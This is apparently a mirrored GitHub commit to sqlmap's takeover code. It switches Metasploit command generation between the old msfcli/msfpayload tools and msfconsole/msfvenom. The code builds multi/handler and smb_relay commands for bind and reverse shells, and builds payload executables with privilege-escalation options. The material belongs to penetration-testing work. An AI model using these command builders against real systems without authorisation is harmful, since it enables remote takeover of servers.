Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit a905b8d

Browse files
stamparmstamparm
committed
Fixes #1312 
1 parent 58002c5 commit a905b8d

2 files changed

Lines changed: 72 additions & 36 deletions

File tree

‎lib/core/option.py‎

Lines changed: 6 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -765,12 +765,12 @@ def _(key, value):
765765

766766
if conf.msfPath:
767767
for path in (conf.msfPath, os.path.join(conf.msfPath, "bin")):
768-
if all(os.path.exists(normalizePath(os.path.join(path, _))) for _ in ("", "msfcli", "msfconsole")):
768+
if any(os.path.exists(normalizePath(os.path.join(path, _))) for _ in ("msfcli", "msfconsole")):
769769
msfEnvPathExists = True
770770
if all(os.path.exists(normalizePath(os.path.join(path, _))) for _ in ("msfvenom",)):
771-
kb.msfVenom = True
771+
kb.oldMsf = False
772772
elif all(os.path.exists(normalizePath(os.path.join(path, _))) for _ in ("msfencode", "msfpayload")):
773-
kb.msfVenom = False
773+
kb.oldMsf = True
774774
else:
775775
msfEnvPathExists = False
776776
conf.msfPath = path
@@ -806,9 +806,9 @@ def _(key, value):
806806
if all(os.path.exists(normalizePath(os.path.join(envPath, _))) for _ in ("", "msfcli", "msfconsole")):
807807
msfEnvPathExists = True
808808
if all(os.path.exists(normalizePath(os.path.join(envPath, _))) for _ in ("msfvenom",)):
809-
kb.msfVenom = True
809+
kb.oldMsf = False
810810
elif all(os.path.exists(normalizePath(os.path.join(envPath, _))) for _ in ("msfencode", "msfpayload")):
811-
kb.msfVenom = False
811+
kb.oldMsf = True
812812
else:
813813
msfEnvPathExists = False
814814

@@ -1811,10 +1811,10 @@ def _setKnowledgeBaseAttributes(flushAll=True):
18111811
kb.matchRatio = None
18121812
kb.maxConnectionsFlag = False
18131813
kb.mergeCookies = None
1814-
kb.msfVenom = False
18151814
kb.multiThreadMode = False
18161815
kb.negativeLogic = False
18171816
kb.nullConnection = None
1817+
kb.oldMsf = None
18181818
kb.orderByColumns = None
18191819
kb.originalCode = None
18201820
kb.originalPage = None

‎lib/takeover/metasploit.py‎

Lines changed: 66 additions & 30 deletions
Original file line numberDiff line numberDiff line change
@@ -62,6 +62,7 @@ def _initVars(self):
6262
self.localIP = getLocalIP()
6363
self.remoteIP = getRemoteIP() or conf.hostname
6464
self._msfCli = normalizePath(os.path.join(conf.msfPath, "msfcli"))
65+
self._msfConsole = normalizePath(os.path.join(conf.msfPath, "msfconsole"))
6566
self._msfEncode = normalizePath(os.path.join(conf.msfPath, "msfencode"))
6667
self._msfPayload = normalizePath(os.path.join(conf.msfPath, "msfpayload"))
6768
self._msfVenom = normalizePath(os.path.join(conf.msfPath, "msfvenom"))
@@ -78,6 +79,7 @@ def _initVars(self):
7879
if _ == old:
7980
break
8081
self._msfCli = "%s & ruby %s" % (_, self._msfCli)
82+
self._msfConsole = "%s & ruby %s" % (_, self._msfConsole)
8183
self._msfEncode = "ruby %s" % self._msfEncode
8284
self._msfPayload = "%s & ruby %s" % (_, self._msfPayload)
8385
self._msfVenom = "%s & ruby %s" % (_, self._msfVenom)
@@ -329,45 +331,79 @@ def _prepareIngredients(self, encode=True):
329331
self.payloadConnStr = "%s/%s" % (self.payloadStr, self.connectionStr)
330332

331333
def _forgeMsfCliCmd(self, exitfunc="process"):
332-
self._cliCmd = "%s multi/handler PAYLOAD=%s" % (self._msfCli, self.payloadConnStr)
333-
self._cliCmd += " EXITFUNC=%s" % exitfunc
334-
self._cliCmd += " LPORT=%s" % self.portStr
334+
if kb.oldMsf:
335+
self._cliCmd = "%s multi/handler PAYLOAD=%s" % (self._msfCli, self.payloadConnStr)
336+
self._cliCmd += " EXITFUNC=%s" % exitfunc
337+
self._cliCmd += " LPORT=%s" % self.portStr
338+
339+
if self.connectionStr.startswith("bind"):
340+
self._cliCmd += " RHOST=%s" % self.rhostStr
341+
elif self.connectionStr.startswith("reverse"):
342+
self._cliCmd += " LHOST=%s" % self.lhostStr
343+
else:
344+
raise SqlmapDataException("unexpected connection type")
335345

336-
if self.connectionStr.startswith("bind"):
337-
self._cliCmd += " RHOST=%s" % self.rhostStr
338-
elif self.connectionStr.startswith("reverse"):
339-
self._cliCmd += " LHOST=%s" % self.lhostStr
346+
if Backend.isOs(OS.WINDOWS) and self.payloadStr == "windows/vncinject":
347+
self._cliCmd += " DisableCourtesyShell=true"
348+
349+
self._cliCmd += " E"
340350
else:
341-
raise SqlmapDataException("unexpected connection type")
351+
self._cliCmd = "%s -x 'use multi/handler; set PAYLOAD %s" % (self._msfConsole, self.payloadConnStr)
352+
self._cliCmd += "; set EXITFUNC %s" % exitfunc
353+
self._cliCmd += "; set LPORT %s" % self.portStr
354+
355+
if self.connectionStr.startswith("bind"):
356+
self._cliCmd += "; set RHOST %s" % self.rhostStr
357+
elif self.connectionStr.startswith("reverse"):
358+
self._cliCmd += "; set LHOST %s" % self.lhostStr
359+
else:
360+
raise SqlmapDataException("unexpected connection type")
342361

343-
if Backend.isOs(OS.WINDOWS) and self.payloadStr == "windows/vncinject":
344-
self._cliCmd += " DisableCourtesyShell=true"
362+
if Backend.isOs(OS.WINDOWS) and self.payloadStr == "windows/vncinject":
363+
self._cliCmd += "; set DisableCourtesyShell true"
345364

346-
self._cliCmd += " E"
365+
self._cliCmd += "; exploit'"
347366

348367
def _forgeMsfCliCmdForSmbrelay(self):
349368
self._prepareIngredients(encode=False)
350369

351-
self._cliCmd = "%s windows/smb/smb_relay PAYLOAD=%s" % (self._msfCli, self.payloadConnStr)
352-
self._cliCmd += " EXITFUNC=thread"
353-
self._cliCmd += " LPORT=%s" % self.portStr
354-
self._cliCmd += " SRVHOST=%s" % self.lhostStr
355-
self._cliCmd += " SRVPORT=%s" % self._selectSMBPort()
370+
if kb.oldMsf:
371+
self._cliCmd = "%s windows/smb/smb_relay PAYLOAD=%s" % (self._msfCli, self.payloadConnStr)
372+
self._cliCmd += " EXITFUNC=thread"
373+
self._cliCmd += " LPORT=%s" % self.portStr
374+
self._cliCmd += " SRVHOST=%s" % self.lhostStr
375+
self._cliCmd += " SRVPORT=%s" % self._selectSMBPort()
376+
377+
if self.connectionStr.startswith("bind"):
378+
self._cliCmd += " RHOST=%s" % self.rhostStr
379+
elif self.connectionStr.startswith("reverse"):
380+
self._cliCmd += " LHOST=%s" % self.lhostStr
381+
else:
382+
raise SqlmapDataException("unexpected connection type")
356383

357-
if self.connectionStr.startswith("bind"):
358-
self._cliCmd += " RHOST=%s" % self.rhostStr
359-
elif self.connectionStr.startswith("reverse"):
360-
self._cliCmd += " LHOST=%s" % self.lhostStr
384+
self._cliCmd += " E"
361385
else:
362-
raise SqlmapDataException("unexpected connection type")
386+
self._cliCmd = "%s -x 'use windows/smb/smb_relay; set PAYLOAD %s" % (self._msfConsole, self.payloadConnStr)
387+
self._cliCmd += "; set EXITFUNC thread"
388+
self._cliCmd += "; set LPORT %s" % self.portStr
389+
self._cliCmd += "; set SRVHOST %s" % self.lhostStr
390+
self._cliCmd += "; set SRVPORT %s" % self._selectSMBPort()
391+
392+
if self.connectionStr.startswith("bind"):
393+
self._cliCmd += "; set RHOST %s" % self.rhostStr
394+
elif self.connectionStr.startswith("reverse"):
395+
self._cliCmd += "; set LHOST %s" % self.lhostStr
396+
else:
397+
raise SqlmapDataException("unexpected connection type")
363398

364-
self._cliCmd += " E"
399+
self._cliCmd += "; exploit'"
365400

366401
def _forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None):
367-
if kb.msfVenom:
368-
self._payloadCmd = "%s -p" % self._msfVenom
369-
else:
402+
if kb.oldMsf:
370403
self._payloadCmd = self._msfPayload
404+
else:
405+
self._payloadCmd = "%s -p" % self._msfVenom
406+
371407
self._payloadCmd += " %s" % self.payloadConnStr
372408
self._payloadCmd += " EXITFUNC=%s" % exitfunc
373409
self._payloadCmd += " LPORT=%s" % self.portStr
@@ -380,22 +416,22 @@ def _forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None):
380416
if Backend.isOs(OS.LINUX) and conf.privEsc:
381417
self._payloadCmd += " PrependChrootBreak=true PrependSetuid=true"
382418

383-
if kb.msfVenom:
419+
if kb.oldMsf:
384420
if extra == "BufferRegister=EAX":
385-
self._payloadCmd += " -a x86 -e %s -f %s > \"%s\"" % (self.encoderStr, format, outFile)
421+
self._payloadCmd += " R | %s -a x86 -e %s -o \"%s\" -t %s" % (self._msfEncode, self.encoderStr, outFile, format)
386422

387423
if extra is not None:
388424
self._payloadCmd += " %s" % extra
389425
else:
390-
self._payloadCmd += " -f exe > \"%s\"" % outFile
426+
self._payloadCmd += " X > \"%s\"" % outFile
391427
else:
392428
if extra == "BufferRegister=EAX":
393-
self._payloadCmd += " R | %s -a x86 -e %s -o \"%s\" -t %s" % (self._msfEncode, self.encoderStr, outFile, format)
429+
self._payloadCmd += " -a x86 -e %s -f %s > \"%s\"" % (self.encoderStr, format, outFile)
394430

395431
if extra is not None:
396432
self._payloadCmd += " %s" % extra
397433
else:
398-
self._payloadCmd += " X > \"%s\"" % outFile
434+
self._payloadCmd += " -f exe > \"%s\"" % outFile
399435

400436
def _runMsfCliSmbrelay(self):
401437
self._forgeMsfCliCmdForSmbrelay()

0 commit comments

Comments
 (0)